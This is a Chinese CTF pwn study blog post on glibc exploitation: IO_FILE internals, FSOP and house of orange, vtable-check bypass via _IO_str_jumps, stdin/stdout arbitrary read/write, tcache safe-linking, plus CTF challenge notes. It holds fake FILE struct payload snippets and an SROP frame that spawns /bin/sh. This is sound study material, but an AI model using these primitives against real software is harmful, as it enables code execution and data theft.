fread 的代码位于 /libio/iofread.c 中,函数名为_IO_fread,但真正的功能实现在子函数_IO_sgetn 中。

_IO_size_t
_IO_fread (buf, size, count, fp)
     void *buf;
     _IO_size_t size;
     _IO_size_t count;
     _IO_FILE *fp;
{
  ...
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

_IO_sgetn 函数中会调用_IO_XSGETN,而_IO_XSGETN_IO_FILE_plus.vtable 中的函数指针,在调用这个函数时会首先取出 vtable 中的指针然后再进行调用。

_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

在默认情况下函数指针是指向_IO_file_xsgetn 函数的,

  if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }

__underflow会调用_IO_UNDERFLOW_IO_UNDERFLOW又会调用_IO_new_file_underflow_IO_new_file_underflow最终会调用_IO_SYSREAD函数来执行read系统调用

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
           fp->_IO_buf_end - fp->_IO_buf_base);

调用_IO_SYSREAD(vtable中的_IO_file_read函数),该函数最终执行系统调用read,读取文件数据,数据读入到fp->_IO_buf_base中,读入大小为输入缓冲区的大小fp->_IO_buf_end - fp->_IO_buf_base

设置输入缓冲区已有数据的size,即设置fp->_IO_read_endfp->_IO_read_end += count

2.fwrite

fwrite 同样是标准 IO 库函数,作用是向文件流写入数据,函数原型如下

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);

fwrite 的代码位于 / libio/iofwrite.c 中,函数名为_IO_fwrite。 在_IO_fwrite 中主要是调用_IO_XSPUTN 来实现写入的功能。

根据前面对_IO_FILE_plus 的介绍,可知_IO_XSPUTN 位于_IO_FILE_plus 的 vtable 中,调用这个函数需要首先取出 vtable 中的指针,再跳过去进行调用。

written = _IO_sputn (fp, (const char *) buf, request);

_IO_XSPUTN 对应的默认函数_IO_new_file_xsputn 中会调用同样位于 vtable 中的_IO_OVERFLOW

 /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

_IO_OVERFLOW 默认对应的函数是_IO_new_file_overflow

if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;

_IO_new_file_overflow 内部最终会调用系统接口 write 函数

count = _IO_SYSWRITE (fp, data, to_do);

输出的内容为f->_IO_write_ptrf->_IO_write_base之间的内容

3.printf/puts

printf 和 puts 是常用的输出函数,在 printf 的参数是以’\n’结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。

printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现

vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

前置知识先说到这,后面讲到相关攻击手法时会继续说明

4.FSOP(File Stream Oriented Programming)

根据对fread、fwrite、printf等IO函数源码的分析,可以知道这些函数最终都是调用了IO_FILE_plus中vtable内的函数

引用raycp大佬的总结

fopen函数是在分配空间,建立FILE结构体,未调用vtable中的函数。

fread函数中调用的vtable函数有:

  • _IO_sgetn函数调用了vtable的_IO_file_xsgetn
  • _IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • __underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
  • vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite 函数调用的vtable函数有:

  • _IO_fwrite函数调用了vtable的_IO_new_file_xsputn
  • _IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
  • vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。

fclose函数调用的vtable函数有:

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。

house of orange的利用关键就在于控制_IO_list_all,一般使用unsorted bin attack将_IO_list_all的值修改为main_arena+88,再将unsortedbin的size修改为0x60,并将其伪造为一个FILE结构体,且在适当偏移的位置处伪造好vtable,将vtable中_IO_OVERFLOW函数的位置修改为system,当我们申请chunk时会报错,unsortedbin会被放入0x60大小的smallbin链中,相对于main_arena+88的便宜为0x68,在FILE结构体中正好是chain的位置,于是_IO_list_all就顺着chain找到了我们伪造的FILE结构体和vtable。

令,如果程序只能分配0x50(最终分配0x60)的chunk,那么该怎么利用?可以将unsortedbin修改为0xb1大小,这样做的原因是:当_IO_list_all指向main_arena+88时,此时的chain为大小为0x60的smallbin那条链;当跳到0x60的smallbin那条链时,偏移0x68位置处(即chain的位置)又是大小为0xb0的smallbin的链,如下图所示

y9KY7D.png

我们可以通过两跳来利用house of orange

5.绕过vtable check

glibc>=2.24的环境下,对于vtable的地址增加了检查,限制其在__start___libc_IO_vtables__stop___libc_IO_vtables之间

绕过方法就是使用libc内部的vtable_IO_str_jumps_IO_wstr_jumps

_IO_str_jumps函数表如下

y9lDj1.png

其中有两个函数可以利用:_IO_str_overflow_IO_str_finish

_IO_str_overflow的利用条件总结如下

_flags = 0
_IO_write_ptr = 0x7fffffffffffffff
_IO_write_base = 0
_IO_buf_end = (binsh-100)/2
_IO_buf_base = 0
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=0x7fffffffffffffff
fake_file._IO_buf_base=0
fake_file._IO_buf_end=(binsh-100)/2
fake_file._mode=0
fake_file.vtable=_IO_str_jumps

pay+=str(fake_file).ljust(0xe0,'\x00')+p64(system)

_IO_str_finish的利用条件总结如下

fp->_flags&1==0
fp->_mode <= 0 
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8

pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)

6.IO FILE 之任意读写

1.stdin标准输入缓冲区进行任意地址写

在前面的fread调用链中,看到fread最终调用了_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)函数来读入数据,因此要想利用stdin输入缓冲区需设置FILE结构体中_IO_buf_basewrite_start_IO_buf_endwrite_end

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  ...
  ## 如果存在_IO_NO_READS标志,则直接返回
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  ## 如果输入缓冲区里存在数据,则直接返回
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  ...

  ##调用_IO_SYSREAD函数最终执行系统调用读取数据
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
               fp->_IO_buf_end - fp->_IO_buf_base);
  ...

}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

所有的条件总结如下为:

  1. 设置_IO_read_end等于_IO_read_ptr
  2. 设置_flag &~ _IO_NO_READS_flag &~ 0x4
  3. 设置_fileno为0。
  4. 设置_IO_buf_basewrite_start_IO_buf_endwrite_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。

通常就是修改_IO_buf_base的低字节,然后就能够通过scanf或者其他调用IO函数的函数来修改FILE结构体,从而进一步劫持程序流。

还有需要注意的一点

_IO_new_file_underflow函数中,有这个判断

if (fp->_IO_read_ptr < fp->_IO_read_ptr)
    return *(unsigned char *) fp->_IO_read_ptr;

也就是说只有当_IO_read_ptr等于_IO_read_ptr时,才会调用_IO_SYSREAD来写入数据

而在_IO_SYSREAD函数执行完后,有

fp->_IO_read_end += count;

这样的话我们想要再次利用IO_FILE来进行写数据的话就不能成功了,因此我们需要增大_IO_read_ptr使其满足上面的判断

如何增大?

IO_getc或者getchar每执行一次都会使_IO_read_ptr+1,可以多次调用这两个函数来满足判断。

2.stdout标准输入缓冲区进行任意地址读写

1.任意写

任意写的主要原理为:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址。

相关源码如下

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{ 
...
    ## 判断输出缓冲区还有多少空间
    else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  ## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
  if (count > 0)
    {
    ...
      memcpy (f->_IO_write_ptr, s, count);

只需要将_IO_write_ptr指向write_start_IO_write_end指向write_end即可

2.任意读

利用stdout进行任意地址读的原理为:控制输出缓冲区指针指向我们输入的地址,构造好条件,使得输出缓冲区为已经满的状态,再次调用输出函数时,程序会刷新输出缓冲区即会输出我们想要的数据,实现任意读。

核心代码如下

_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  ## 判断标志位是否包含_IO_NO_WRITES
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }

  ## 判断输出缓冲区是否为空
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }

  ## 输出输出缓冲区 
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  ...
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  ## 调用函数输出输出缓冲区
  count = _IO_SYSWRITE (fp, data, to_do);
  ...

  return count;
}

需要满足的条件为

  1. 设置_flag &~ _IO_NO_WRITES_flag &~ 0x8
  2. 设置_flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  3. 设置_fileno为1。
  4. 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
  5. 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING_flag | 0x1000
  6. 设置_IO_write_end等于_IO_write_ptr(非必须)。

另外,在_IO_new_file_overflow函数中,有

_IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);

我们在做无泄漏的堆题时,改stdout结构体开头为p64(flag)+p64(0)*3+p8(0),其中p8(0)对应修改的就是_IO_write_base,将其改小一些,就会输出_IO_write_base及其附近的一堆地址来达到泄漏libc地址的目的。

记录一下flag的构造

flag=0
flag&=~8
flag|=0x800
flag|=0x8000
在printf函数中会调用_IO_acquire_lock_clear_flags2 (stdout)来获取lock从而继续程序,如果没有_IO_USER_LOCK标志的话,程序会一直在循环,而_IO_USER_LOCK定义为#define _IO_USER_LOCK 0x8000,因此需要设置flag|=0x8000才能够使exp顺利进行

0x13.global_max_fast相关利用

global_max_fast规定了fastbin的最大大小,64位机器下,默认为0x80.

一般通过unsortedbin attack复写global_max_fast为main_arena的地址,这样后续我们释放多大的堆块都会被认为是fastbin,会根据fastbin的序号放到对应的地址中。如果我们能申请并释放很大的堆块的话,且计算好堆块的size,就能够在任意地址写入堆块的地址。通过这种任意地址写堆地址的方式,我们可以修改_io_list_all为一个堆块的地址,并事先在堆块中伪造好FILE结构体,类似于house of orange。

或者,有些题目不允许分配fastbin,例如规定了申请的chunk大小大于0x80,使用了mallopt(1,0)来限制了fastbin大小为0,也就是没有fastbin。这种情况下可以复写global_max_fast为main_arena,这样就可以重新使用fastbin了。

原理不多说

构造方式为

假设有两个chunk,chunk1和chunk2,在chunk1中伪造一个fake_chunk,fake_chunk的fd为&chunk1_addr-0x18,bk为&chunk1_addr-0x10,还需要将chunk2的inuse位置为0,最后再free掉chunk2,这样chunk1的指针就会转移到&chunk1_addr-0x18处,我们就能够控制堆的管理地址了。

0x15.SROP

目前ctf比赛中单纯的srop很少见,多用于堆题开启了沙箱,需要用orw读取flag的情况

pwntools中集成了SROP的伪造模块,使用方式如下

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve #系统调用号
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr 参数一
sigframe.rsi = 0x0 #参数二
sigframe.rdx = 0x0 #参数三
sigframe.rsp = stack_addr #执行完系统调用后要跳转的地址
sigframe.rip = syscall_ret #syscall ret的地址

使用前还需声明目标架构

0x16.partial overwrite

当程序开启pie和canary时,如果程序的功能是read-printf这种类型,且能运行两次或者多次,第一次泄露canary,第二次覆盖函数返回地址的末尾两位,如果是mian函数的返回地址那就是__libc_start_main,复写末位两位可以使程序重新运行,但canary不会变,这样就能够泄露libc地址并且rop了。

0x17.各种保护

在ctfpwn中一般面对的是四种保护机制,分别为RELRO、Canary、NX和PIE

这四种保护的开启方式如下

1.RELRO

gcc -o demo demo.c                        // 默认情况下,是Partial RELRO
gcc -z norelro -o demo demo.c            // 关闭,即No RELRO
gcc -z lazy -o demo demo.c                // 部分开启,即Partial RELRO
gcc -z now -o demo demo.c                // 全部开启,即FULL RELRO

partial RELRO的情况下,GOT表是可写的(.got.plt);而在FULL RELRO的情况下,GOT表不可写,lazy resolution 是被禁止的,所有导入的符号都在 startup time 被解析。

2.Canary

gcc -o demo demo.c                        // 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o demo demo.c  //禁用栈保护
gcc -fstack-protector -o demo demo.c   //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o demo demo.c //启用堆栈保护,为所有函数插入保护代码

这种保护会在rbp上方添加一个cookie,32位机器下为4字节,64位机器下为8字节,且末尾为空字符

当栈溢出覆盖了canary后,就会调用___stack_chk_fail来终止程序

3.NX

gcc -o demo demo.c                    // 默认情况下,开启NX保护
gcc -z execstack -o demo demo.c        // 禁用NX保护
gcc -z noexecstack -o demo demo.c    // 开启NX保护

NX即No-eXecute(不可执行)的意思,windows上称为DEP,无法在栈上执行shellcode

4.PIE

需要在ASLR开启后PIE才会生效

ASLR:内存地址随机化机制(address space layout randomization)

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
sudo -s echo 0/1/2 > /proc/sys/kernel/randomize_va_space

开启PIE保护

gcc -o demo demo.c                // 默认情况下,不开启PIE
gcc -fpie -pie -o demo demo.c        // 开启PIE,此时强度为1
gcc -fPIE -pie -o demo demo.c        // 开启PIE,此时为最高强度2
gcc -fpic -o demo demo.c        // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o demo demo.c        // 开启PIC,此时为最高强度2,不会开启PIE

PIE随机化了ELF装载内存的基址(.text、plt、got、data等共同的基址)

0x18.abs函数溢出点

abs函数接收4字节有符号int数,当传入0x80000000时,其返回结果仍然是0x80000000,由于4字节int正数将无法表示这么大,因此,其值是一个负数

0x19.指针未初始化漏洞

1.rec_33c3_2016

在功能5中

y6Ds4x.png

当v2==0时没有给v1赋值,然后调用了v1,如果我们能够控制栈上的数据就能够达成任意函数执行

在功能2中

y6rZZ9.png

进行累加操作的时候,首先将栈压低了0x8的空间,然后又push了两个值入栈,所以这一系列操作相当于把栈压低了0x10,随后又将栈升高了0x8的空间,这样一来,每累加一次就把栈压低了0x8,所以只需要计算出当前栈和功能5中的v1的栈的距离就能够将esp挪过去,接着再利用这个累加功能往v1中写rop就行。

2.ciscn_2019_ne_6

y6rDsg.png

在delete功能中,即使ptr并不满足条件,也依然会判断ptr是否有值,有值的话依然会将其free,且清空堆指针的操作是在if代码块内部,这样的话如果我们能够控制ptr的值就能够任意地址free。

如何控制ptr,需要从free的上一个函数入手

y6y3Ed.png

在进行free之前还有一个函数要执行,这个函数能够写入一些数据

y6yG4I.png

调试后能够发现,在栈中通过s写入0x28的数据刚好能够覆盖ptr,因此我们可以泄露出堆地址,先正常free一遍,然后利用这个漏洞再次free,就能够造成double free。

在这两题中,IDA很贴心的将未初始化的指针都用不同的颜色标注了出来,tql。

0x1a.ELF文件中的一些段

.bss

​ 包含目标文件中未初始化的全局变量。一般情况下,可执行程序在开 始运行的时候,系统会把这一段内容清零。但是,在运行期间的 bss 段是由系统初 始化而成的,在目标文件中.bss 节并不包含任何内容,其长度为 0

.data/.data1

​ 这两个节用于存放程序中被初始化过的全局变量。在目标文件中,它们是占 用实际的存储空间的,与.bss 节不同。

.debug

​ 本节中含有调试信息,内容格式没有统一规定。所有以”.debug”为前缀的节名 字都是保留的。

.dynamic

​ 本节包含动态连接信息

.dynstr

​ 此节含有用于动态连接的字符串,一般是那些与符号表相关的名字

.dynsym

​ 此节含有动态连接符号表。

.fini

​ 此节包含进程终止时要执行的程序指令。当程序正常退出时,系统会执行这 一节中的代码。

.got

​ 此节包含全局偏移量表。

.plt

​ 此节包含函数连接表。

.init

​ 此节包含进程初始化时要执行的程序指令。当程序开始运行时,系统会在进 入主函数之前执行这一节中的代码。

rodata/.rodata1

​ 本节包含程序中的只读数据,在程序装载时,它们一般会被装入进程空间中 那些只读的段中去。

.shstrtab

​ 本节是“节名字表”,含有所有其它节的名字。

.strtab

​ 本节用于存放字符串,主要是那些符号表项的名字。

.symtab

​ 本节用于存放符号表。

.text

​ 本节包含程序指令代码

0x1b.巧用fileno

1.d3ctf_2019_ezfile

yIVfvn.png

add功能最大只能分配0x18的chunk

yIVqC4.png

delete功能存在uaf

yIVXvR.png

encrypt功能存在栈溢出

程序没有show功能,且程序中没有调用puts、printf一类的的函数,无法利用io_file泄露libc地址。

利用方法为:

首先利用uaf修改IO_2_1_stdin的fileno参数为3

通过栈溢出的漏洞,partial overwrite返回地址到这

yIZQPg.png

此时open函数的rdi来源于这里

yIZUaT.png

rdi来源于rax,rax来源于seed,而seed是我们可以控制的,所以open函数的rdi也就是我们可以控制的,于是将seed设置为./flag,fd=open(“./flag”,0)=3,后面调用scanf的时候

yIZ5zd.png

就会输出flag的内容。

2.ciscn_final_2

yIe0Tf.png

这题在初始化函数中打开了flag,并且将其fd修改为了666,后面又开启了沙箱

yIeH1J.png

在delete函数中存在uaf,且是通过bool这个全局变量来判断是否要free

yIm99e.png

但bool这一个全局变量却对应着两个类型的chunk,因此可以造成double free。

但由于能输入的数据都是数字,所以没办法通过正常的方法来getshell,因此需要利用flag的fd

利用uaf修改IO_2_1_stdin的fileno为666,在利用byebye功能中的scanf功能,即可输出flag

yImBuR.png

0x1c.从RCTF no_write中学到的一些知识

1.__libc_start_main会在内存内写入initial,exit_funcs_lock的地址。

2.在__do_global_dtors_aux中有一条gadget:

0x4005e8 <__do_global_dtors_aux+24>:    add    DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>:    nop    DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>:    repz ret 

结合万能gadget可以做到往任意地址写入一个值

3.在strncmp中会调用__strncmp_sse42函数,这个函数的的参数和strncmp一样,地址可以在strncmp中查看

0x7ffff7a81d19 :    lea    rax,[rip+0xe77f0]        # 0x7ffff7b69510 __strncmp_sse42的地址
0x7ffff7a81d20 :    je     0x7ffff7a81d37 

0x1d.glibc2.32中的一点变化

在glibc2.32中对tcache的取出和放入时进行了处理,称为safe-linking(异或加密),具体代码如下

tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache的fd位置会被赋值为PROTECT_PTR (&e->next, tcache->entries[tc_idx])

PROTECT_PTR 的实现如下

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

会将pos右移12位之后再和ptr抑或,pos实际上就是要free的堆的地址,ptr则是对应链表的尾部

结合一个小程序来看看具体现象

#include <stdio.h>
#include <stdlib.h>
int main()
{
    char *a=malloc(0x40);
    char *b=malloc(0x40);
    free(a);
    free(b);
    return 0;
}

free(a)之后

c2fhiq.png

fd指针为0x0000000555555757

0x5555557572a0>>12&0计算得来,在free(a之前,因为pos为0x5555557572a0,而tcache->entries[tc_idx]为0

free(a)之后,tcache->entries[tc_idx]为0x5555557572a0,当free(b)时,pos为0x5555557572f0,ptr为0x5555557572a0,所以此时的e->next会被赋值为0x5555557572f0>>12^0x5555557572a0=0x00005550002025f7

c2oigP.png

safe-linking的实现大概就是这样

0x1e.tcache结构体

上面既然记录了tcache相关的一些知识,就顺便再记录一下tcache相关的结构体

依然拿2.32举例

1.typedef struct tcache_entry

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

这个结构体就是我们一直在攻击的tcache的实现,应该说一目了然,next指针就是指向下一个tcache,key指针防止double free,存放着tcache_perthread_struct的地址

2.tcache_perthread_struct

typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

这个堆块结构体用来管理tcache

# define TCACHE_MAX_BINS        64

两个成员分别为一个uint16类型的数组,大小为64;以及一个指针数组,大小依然是64;

counts数组用来表示某个大小的tcache的数量,比如有两个0x20的tcache,那么counts[0]即为2;entries这个数组用来存储某条tcache链表的链表头。

和其他bins的不一样,tcache_perthread_struct由malloc分配空间,也就是说tcache_perthread_struct这个结构体的位置在heap段,glibc2.32中的大小为0x290,其中counts数组大小为0x40*2=0x80,2.27中大小为0x250.

这里顺带再介绍一下TCACHE_MAX_BINS的攻击方式。

前面说了,counts数组用来记录tcache的数量,在__libc_malloc函数中有如下代码

if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }

其中的tcache_bins就是TCACHE_MAX_BINS,如果tc_idx小于TCACHE_MAX_BINS并且有tcache且counts[tc_idx]数组不为空,就会调用tcache_get函数。

TCACHE_MAX_BINS的攻击方式和global_max_fast的攻击方式有相似之处,如果我们能将TCACHE_MAX_BINS修改成一个很大的值,那么tcache_perthread_struct这个结构体也会很大,可能会与我们的可控区域重合,我们在可控区域中的某个位置写入一个地址,如malloc_hook,然后再计算出这个位置对应的tcache大小,然后申请(前提是可以申请这么大的chunk并且count[tc_idx]对应的位置不为空)这么大的chunk,就会将malloc_hook分配给用户。


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
IDA7.5下的idapython使用 IDA7.5下的idapython使用
开始学习IDApython的使用 网上的教程都是基于7.0版本的IDA,自IDA7.4之后,idapython的语法就有了变化,且由py2转移到了py3,所以需要对照着Hexray官方的说明来修改,链接 跟着这个教程一点点学习 IDApy
2021-01-25 Lock
下一篇 
七星计划(2) 七星计划(2)
这一次来记载一些题目吧~ 先从最近的题目开始 0x1.太湖杯-easykooc首先检查保护 mips32小端序,存在RWX段,所以可以执行shellcode 然后IDA…啊不,是ghidra分析(好想体验IDA分析mips的感觉啊,虽然g
2020-11-15
  目录